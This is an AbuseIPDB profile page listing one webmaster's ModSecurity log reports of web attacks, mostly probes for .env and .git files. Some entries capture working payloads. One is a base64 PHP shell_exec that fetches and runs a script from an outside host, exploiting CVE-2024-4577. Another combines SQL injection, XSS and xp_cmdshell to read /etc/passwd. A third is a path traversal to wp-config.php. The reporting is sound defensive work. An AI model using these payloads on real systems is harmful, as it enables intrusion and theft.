AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User subnetprotocol , the webmaster of subnetprotocol.com, joined AbuseIPDB in October 2024 and has reported 8,544 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇳🇱 93.123.109.231	14 May 2025	14/May/2025:13:52:23.312502 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:13:52:23.312502 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "51.159.22.164"] [uri "/.env_sample"] [unique_id "aCSD94ipIHoI0q3Lm2aT7AAABgQ"] 14/May/2025:13:52:28.729222 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930- ... show less	Hacking Web App Attack
🇳🇱 93.123.109.230	14 May 2025	14/May/2025:13:31:27.728636 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:13:31:27.728636 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "51.159.22.164"] [uri "/.env.preprod"] [unique_id "aCR_DwKLAJ--d6PQUqjqCgAABZU"] 14/May/2025:13:31:27.954254 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-93 ... show less	Hacking Web App Attack
🇰🇷 49.175.89.60	14 May 2025	14/May/2025:11:57:44.765632 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:11:57:44.765632 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 49.175.89.60] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\$,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\$?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id ... show less	Hacking Web App Attack
🇳🇱 196.251.70.87	14 May 2025	14/May/2025:11:30:23.176516 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:11:30:23.176516 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.70.87] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.0.235"] [uri "/.git/index"] [unique_id "aCRir8jskmwuYJg8tLt1JQAAAU8"] 14/May/2025:11:34:30.134775 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.70.87] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-A ... show less	Hacking Web App Attack
🇺🇸 20.65.193.203	14 May 2025	14/May/2025:10:52:53.544099 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:10:52:53.544099 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 20.65.193.203] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/118/224/541/310"] [tag "PCI/6.5.10"] [hostname "212.129.1.133"] [uri "/owa/auth/logon.aspx"] [unique_id "aCRZ5X3cmPPO1XHqy97G2QAAA4s"] 14/May/2025:10:52:59.053717 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 20.65.193.203] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Age ... show less	Hacking Web App Attack
🇬🇧 94.193.218.58	14 May 2025	14/May/2025:10:40:03.323872 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:10:40:03.323872 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 94.193.218.58] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\$,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\$?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [i ... show less	Hacking Web App Attack
🇳🇱 93.123.109.230	14 May 2025	14/May/2025:10:16:31.579051 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:10:16:31.579051 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.0.235"] [uri "/.env.production.local"] [unique_id "aCRRX2YqQbEe9W72DeU0hwAABBY"] 14/May/2025:10:16:32.604614 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP ... show less	Hacking Web App Attack
🇺🇸 147.124.217.110	14 May 2025	14/May/2025:09:38:03.256153 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:09:38:03.256153 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 147.124.217.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.0.235"] [uri "/.env"] [unique_id "aCRIW2Ngo57JPEo1j7SfDQAAAsw"] 14/May/2025:09:38:04.213220 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 147.124.217.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION- ... show less	Hacking Web App Attack
🇻🇳 14.225.74.32	14 May 2025	14/May/2025:08:08:25.922162 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:08:08:25.922162 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 14.225.74.32] ModSecurity: Warning. Pattern match "(?:^\|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]\|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /categories2.php?dept=') AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\\\\x22XSS\\\\x22)</script>',table_name FROM information_schema.tables WHERE 2>1--//; EXEC xp_cmdshell('cat ../../../etc/passwd')#&dir=') AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\\\\x22XSS\\\\x22)</script>',table_name FROM information_schema.tables WHERE 2>1--//; EXEC xp_cmdshell('cat ../../../etc/passwd')#&page=') AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\\\\x22XSS\\\\x22)</script>',table_..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] ... show less	Hacking Web App Attack
🇫🇷 82.216.149.124	14 May 2025	14/May/2025:08:04:52.972595 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:08:04:52.972595 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 82.216.149.124] ModSecurity: Warning. Matched phrase ".nsr" at ARGS:access_token. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .nsr found within ARGS:access_token: eyj0exaioijkv1qilcjhbgcioijiuzi1nij9.eyjpc3mioijtawdub25uzsisimlhdci6mtc0nziwmju3ocwizxhwijoxnzq3mjezmzc4lcjpzci6mtuxotu5ncwiy2f0ijoiv0vcu09ds0vux1rps0voiiwidg9rzw5pzci6ijy4mjqzmjeynzlinziifq.nsremgp5bgvznhmtq1jzzknfptccia9yrrtcoecs6ry"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "realtime.mignonneapi.com"] [uri "/"] [unique_id "aCQyc7Dmsldv3-PtmACFtgAAAQ8"] 14/May/2025:08:04:54.512521 +0200Apache-Er ... show less	Hacking Web App Attack
🇫🇷 85.68.211.8	14 May 2025	14/May/2025:08:03:03.144917 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:08:03:03.144917 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 85.68.211.8] ModSecurity: Warning. Matched phrase ".nsr" at ARGS:access_token. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .nsr found within ARGS:access_token: eyj0exaioijkv1qilcjhbgcioijiuzi1nij9.eyjpc3mioijtawdub25uzsisimlhdci6mtc0nziwmju3ocwizxhwijoxnzq3mjezmzc4lcjpzci6mtuxotu5ncwiy2f0ijoiv0vcu09ds0vux1rps0voiiwidg9rzw5pzci6ijy4mjqzmjeynzlinziifq.nsremgp5bgvznhmtq1jzzknfptccia9yrrtcoecs6ry"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "realtime.mignonneapi.com"] [uri "/"] [unique_id "aCQyEh6S1PQpILXz3q-vpAAAAgE"] 14/May/2025:08:03:11.641437 +0200Apache-Error ... show less	Hacking Web App Attack
🇳🇱 93.123.109.230	14 May 2025	14/May/2025:08:01:47.047594 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:08:01:47.047594 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.40.96"] [uri "/.env.backup"] [unique_id "aCQxyx6S1PQpILXz3q-uLgAAAhE"] 14/May/2025:08:01:47.085826 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930- ... show less	Hacking Web App Attack
🇷🇴 62.231.94.41	14 May 2025	14/May/2025:07:45:01.384071 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:07:45:01.384071 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 62.231.94.41] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mignonne.com"] [uri "/.env"] [unique_id "aCQt3d6lSbbaUjx0ye9klwAAANU"] 14/May/2025:07:45:01.448372 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 62.231.94.41] ModSecurity: Warning. Pattern match "(?:^\|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]\|$)" at ARGS:action. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWA ... show less	Hacking Web App Attack
🇳🇱 196.251.70.87	14 May 2025	14/May/2025:06:36:18.430633 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:06:36:18.430633 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.70.87] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.0.235"] [uri "/.git/config"] [unique_id "aCQdwj1nkV_xaU6g2P_a-gAAAUU"] 14/May/2025:06:37:28.329553 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.70.87] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930 ... show less	Hacking Web App Attack
🇳🇱 93.123.109.228	14 May 2025	14/May/2025:06:24:28.215421 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:06:24:28.215421 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "51.159.22.164"] [uri "/.env.secret"] [unique_id "aCQa_H7csklQPjO8c62sbgAAAo8"] 14/May/2025:06:24:28.369650 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930- ... show less	Hacking Web App Attack
🇮🇳 216.10.250.218	14 May 2025	14/May/2025:05:56:48.239133 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:05:56:48.239133 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 216.10.250.218] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\$,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\$?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [ ... show less	Hacking Web App Attack
🇳🇱 93.123.109.230	14 May 2025	14/May/2025:05:05:54.020642 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:05:05:54.020642 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /settings/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.40.96"] [uri "/settings/.env"] [unique_id "aCQIkeTHcqd7mNFoOVrHNgAAC04"] 14/May/2025:05:05:57.178479 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST- ... show less	Hacking Web App Attack
🇩🇪 130.61.182.233	14 May 2025	14/May/2025:04:59:14.986748 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:04:59:14.986748 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 130.61.182.233] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\$,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\$?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [ ... show less	Hacking Web App Attack
🇺🇸 40.76.116.231	14 May 2025	14/May/2025:04:08:41.427693 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:04:08:41.427693 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 40.76.116.231] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/118/224/541/310"] [tag "PCI/6.5.10"] [hostname "212.129.1.133"] [uri "/autodiscover/autodiscover.json"] [unique_id "aCP7KYhmRb42mJej0F6JzwAACo0"] 14/May/2025:04:09:21.601356 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 40.76.116.231] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADE ... show less	Hacking Web App Attack
🇳🇱 195.178.110.202	14 May 2025	14/May/2025:03:57:49.868073 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:03:57:49.868073 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 195.178.110.202] ModSecurity: Warning. Pattern match "(?:^\|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]\|$)" at ARGS:img. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:img: ../wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "mignonne.app"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aCP4neTHcqd7mNFoOVqemQAAC0k"] 14/May/2025:03:57:49.868073 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 195.178.110.202] ModSecurity: Warning. Pattern match "(?:^\|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]\|$)" at ARGS:img. [file "/etc/ ... show less	Hacking Web App Attack
🇳🇱 196.251.86.175	14 May 2025	14/May/2025:03:02:25.235537 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:03:02:25.235537 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.86.175] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.40.96"] [uri "/.env"] [unique_id "aCProcOAGz-YNg2b3EEfmwAADE0"] 